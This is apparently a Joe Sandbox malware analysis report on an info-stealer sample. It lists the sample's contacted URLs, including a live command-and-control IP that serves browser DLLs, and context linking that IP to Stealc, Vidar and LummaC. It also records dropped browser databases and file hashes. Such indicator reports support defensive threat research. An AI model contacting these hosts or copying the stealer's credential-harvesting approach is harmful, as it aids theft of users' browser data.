https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	glpEv3POe7.exe, 00000000.00000002.1974812801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, EGIIIECBGDHJJKFIDAKJ.0.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	glpEv3POe7.exe, 00000000.00000002.1974812801.000000000126D000.00000004.00000020.00020000.00000000.sdmp, DGIJECGD.0.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	glpEv3POe7.exe, 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmp, glpEv3POe7.exe, 00000000.00000003.1823865941.0000000009824000.00000004.00000020.00020000.00000000.sdmp	false		high
http://135.181.65.216/ee45b7c5e4cb75cb.phpdlls	glpEv3POe7.exe, 00000000.00000002.1974812801.000000000122C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://135.181.65.216l	glpEv3POe7.exe, 00000000.00000002.1974812801.00000000011CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://135.181.65.216ee45b7c5e4cb75cb.phpfox	glpEv3POe7.exe, 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://135.181.65.216/4a21a126be249f0d/softokn3.dllF1	glpEv3POe7.exe, 00000000.00000002.1974812801.000000000122C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://135.181.65.216	glpEv3POe7.exe, 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmp, glpEv3POe7.exe, 00000000.00000002.1974812801.00000000011CE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	EGIIIECBGDHJJKFIDAKJ.0.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	glpEv3POe7.exe, 00000000.00000002.1974812801.000000000126D000.00000004.00000020.00020000.00000000.sdmp, DGIJECGD.0.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	glpEv3POe7.exe, 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmp	false		high
http://135.181.65.216/4a21a126be249f0d/mozglue.dllP1%	glpEv3POe7.exe, 00000000.00000002.1974812801.000000000122C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe	glpEv3POe7.exe, 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmp	false		high
http://135.181.65.216/4a21a126be249f0d/nss3.dllC	glpEv3POe7.exe, 00000000.00000002.1974812801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	glpEv3POe7.exe, 00000000.00000002.1974812801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, EGIIIECBGDHJJKFIDAKJ.0.dr	false		high
http://135.181.65.216/ee45b7c5e4cb75cb.phpx	glpEv3POe7.exe, 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
http://www.sqlite.org/copyright.html.	glpEv3POe7.exe, 00000000.00000002.1975206081.0000000003896000.00000004.00000020.00020000.00000000.sdmp, glpEv3POe7.exe, 00000000.00000002.1980592762.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high
http://135.181.65.216/ee45b7c5e4cb75cb.phpl	glpEv3POe7.exe, 00000000.00000002.1974812801.000000000122C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.mozilla.com/en-US/blocklist/	glpEv3POe7.exe, glpEv3POe7.exe, 00000000.00000002.1980697850.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
http://135.181.65.216/4a21a126be249f0d/nss3.dllY	glpEv3POe7.exe, 00000000.00000002.1974812801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
http://135.181.65.216/ee45b7c5e4cb75cb.phpCoinomi	glpEv3POe7.exe, 00000000.00000002.1974812801.000000000122C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	glpEv3POe7.exe, 00000000.00000002.1974812801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, EGIIIECBGDHJJKFIDAKJ.0.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	DGIJECGD.0.dr	false		high
http://135.181.65.216/ee45b7c5e4cb75cb.phpr	glpEv3POe7.exe, 00000000.00000002.1974812801.00000000011CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://135.181.65.216/4a21a126be249f0d/nss3.dllU	glpEv3POe7.exe, 00000000.00000002.1974812801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://135.181.65.216/ee45b7c5e4cb75cb.phpf	glpEv3POe7.exe, 00000000.00000002.1974812801.00000000011CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://135.181.65.216/4a21a126be249f0d/freebl3.dll61	glpEv3POe7.exe, 00000000.00000002.1974812801.000000000122C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://135.181.65.216/4a21a126be249f0d/msvcp140.dllf03	glpEv3POe7.exe, 00000000.00000002.1974812801.000000000122C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	DGIJECGD.0.dr	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	glpEv3POe7.exe, 00000000.00000002.1974812801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, EGIIIECBGDHJJKFIDAKJ.0.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	glpEv3POe7.exe, 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmp, glpEv3POe7.exe, 00000000.00000003.1823865941.0000000009824000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	glpEv3POe7.exe, 00000000.00000002.1974812801.000000000126D000.00000004.00000020.00020000.00000000.sdmp, DGIJECGD.0.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	DGIJECGDGCBKECAKFBGCAKECGI.0.dr	false		high
http://135.181.65.216/ee45b7c5e4cb75cb.phpZ	glpEv3POe7.exe, 00000000.00000002.1974812801.00000000011CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	glpEv3POe7.exe, 00000000.00000002.1974812801.000000000126D000.00000004.00000020.00020000.00000000.sdmp, DGIJECGD.0.dr	false		high
http://135.181.65.216/4a21a126be249f0d/mozglue.dlll19	glpEv3POe7.exe, 00000000.00000002.1974812801.000000000122C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	glpEv3POe7.exe, 00000000.00000002.1974812801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, EGIIIECBGDHJJKFIDAKJ.0.dr	false		high
https://support.mozilla.org	DGIJECGDGCBKECAKFBGCAKECGI.0.dr	false		high
http://135.181.65.216/ee45b7c5e4cb75cb.phpB	glpEv3POe7.exe, 00000000.00000002.1974812801.00000000011CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	DGIJECGD.0.dr	false		high
http://135.181.65.216/4a21a126be249f0d/vcruntime140.dllj	glpEv3POe7.exe, 00000000.00000002.1974812801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://135.181.65.216/k	glpEv3POe7.exe, 00000000.00000002.1974812801.00000000011CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
239.255.255.250	unknown	Reserved	unknown	unknown	false
135.181.65.216	unknown	Germany	24940	HETZNER-ASDE	true
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580530
Start date and time:	2024-12-24 22:26:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	glpEv3POe7.exe renamed because original name is a hash value
Original Sample Name:	89ad45b4a0e2d547c1e09d0a1ea94df6.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@17/32@2/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 122 Number of non-executed functions: 42
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.227, 172.217.19.238, 64.233.161.84, 172.217.17.46, 172.217.21.35, 199.232.210.172, 192.229.221.95, 23.218.208.109, 20.109.210.53, 13.107.246.63
Excluded domains from analysis (whitelisted): fs.microsoft.com, clients2.google.com, ocsp.digicert.com, accounts.google.com, redirector.gvt1.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, clients.l.google.com, www.gstatic.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: glpEv3POe7.exe

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
239.255.255.250	https://issuu.com/txbct.com/docs/navex_quote_65169.?fr=xKAE9_zU1NQ	Get hash	malicious	HTMLPhisher	Browse
	http://poubnxu3jubz.top/1.php	Get hash	malicious	Unknown	Browse
	PodcastsTries.exe	Get hash	malicious	Vidar	Browse
	http://6p8c.enterszcainmenthub.ru	Get hash	malicious	Unknown	Browse
	https://tb.ldpdljrr.ru/	Get hash	malicious	Unknown	Browse
	http://volmar.sinformations.cfd	Get hash	malicious	Unknown	Browse
	badvbscript.html	Get hash	malicious	Unknown	Browse
	https://u48635528.ct.sendgrid.net/ls/click?upn=u001.9c3qucD-2BQzNTT0bmLRTJr37m0fhz0zdKJtvEO5GYL-2FheRuyVOh-2FQG4V3oBgBPYNynDxn_I1ksFJapfNmw0nKrksu71KTxdlg2CVrjzBUVofCtIEhaWkhL1Pph-2Ffg-2BCFbPvkCL9SX-2Fn-2BNBrku3RcjHS1atB8ladrmemt-2BtQU5680xhgoUl-2FmS0Bdj-2FOfednny-2F-2Bj2bwjjubeRvrpN0J7TGLD3CnNRzymiQOzypjCqxHhzmXtY2EWHJMJBxjl-2FHlyEIekWjEdTpTsRC8R5LaI-2BXF4kV8UeUtXxyFJLbYiR3fqcWt2evvBBECu9MeQj8TLZrmfuTf-2BJQraijp8-2BcIdxf8rnVxjHoJK1lo9-2Bkao444JbRSinVA-2FoUxeuAtdlrITU1Z6gHAn7DLZstY4XJkhkT16-2F2TN4CFt2LQ-2BEh9GWg4EPlocPi8ljTs-2B9D9RVbWdc3s2Vk2VPHSj20oCO3-2FalihBzGJuaYie5tnYaz6wBF3EqNzMXmVqRnMZwSYuGRwSMVhkchytYzt3hUH-2F51IUfn7nuhHUcUbdS8nBYneAMuB2eSDRn8IZzUkExLUascCVn8T9ImEyo0qhVsBPdJjfT9L3qli9clY1N-2BhQXDZgQnsN1Bs9PujeLzem37C62BvWnqPnqvXh5vbcvseiZwTP35DEJysw-3D-3D#mlyon@wc.com	Get hash	malicious	HTMLPhisher	Browse
	gYjK72gL17.exe	Get hash	malicious	Stealc, Vidar	Browse
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
135.181.65.216	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse
	daw21.exe	Get hash	malicious	Stealc	Browse
	stealcy11.exe	Get hash	malicious	Stealc	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HETZNER-ASDE	armv6l.elf	Get hash	malicious	Mirai	Browse	178.63.49.206
	https://app.salesforceiq.com/r?target=631f420eed13ca3bcf77c324&t=AFwhZf065tBQQJtb1QfwP5t--0vgBJ0h_ebIEq5KFXSXqUZai5J8FQSwWrq93GQOlAns9KDGvW4ICfvxj8Z5CJD1Q9Wt5o0NW5c0cKHizUAbubpaOgmKjcVLdh1YXO2nIltTeoePggUL&url=https://monaghans.jimdosite.com	Get hash	malicious	HTMLPhisher	Browse	144.76.181.177
	ppc.elf	Get hash	malicious	Unknown	Browse	144.77.188.7
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	135.181.65.216
	daw21.exe	Get hash	malicious	Stealc	Browse	135.181.65.216
	stealcy11.exe	Get hash	malicious	Stealc	Browse	135.181.65.216
	gVKsiQIHqe.exe	Get hash	malicious	Vidar	Browse	94.130.188.57
	trZG6pItZj.exe	Get hash	malicious	Vidar	Browse	94.130.188.57
	9EI7wrGs4K.exe	Get hash	malicious	Vidar	Browse	94.130.188.57
	AmsterdamCryptoLTD.exe	Get hash	malicious	LummaC, DarkComet, LummaC Stealer, Vidar	Browse	94.130.188.57

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	gYjK72gL17.exe	Get hash	malicious	Stealc, Vidar	Browse
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse
	ElmEHL9kP9.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	xlSzrIs5h6.exe	Get hash	malicious	LummaC, Stealc	Browse
	1lhZVZx5nD.exe	Get hash	malicious	Stealc, Vidar	Browse
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse
	FnTSHWLNWB.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\ProgramData\AKKFHDAK

Download File

Process:	C:\Users\user\Desktop\glpEv3POe7.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGIJECGD

Download File

Process:	C:\Users\user\Desktop\glpEv3POe7.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGIJECGDGCBKECAKFBGCAKECGI

Download File

Process:	C:\Users\user\Desktop\glpEv3POe7.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIIIECBGDHJJKFIDAKJ

Download File

Process:	C:\Users\user\Desktop\glpEv3POe7.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GIEHIDHJDBFIIECAKECB

Download File

Process:	C:\Users\user\Desktop\glpEv3POe7.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDBFHJDAAFBAKEBGIJKK

Download File

Process:	C:\Users\user\Desktop\glpEv3POe7.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEHIIIJDAAAAAAKECBFBAEBKJJ

Download File

Process:	C:\Users\user\Desktop\glpEv3POe7.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\glpEv3POe7.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: gYjK72gL17.exe, Detection: malicious, Browse Filename: iUKUR1nUyD.exe, Detection: malicious, Browse Filename: cMTqzvmx9u.exe, Detection: malicious, Browse Filename: ElmEHL9kP9.exe, Detection: malicious, Browse Filename: xlSzrIs5h6.exe, Detection: malicious, Browse Filename: 1lhZVZx5nD.exe, Detection: malicious, Browse Filename: Qsqi9KQXgy.exe, Detection: malicious, Browse Filename: uLkHEqZ3u3.exe, Detection: malicious, Browse Filename: FnTSHWLNWB.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\glpEv3POe7.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\glpEv3POe7.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
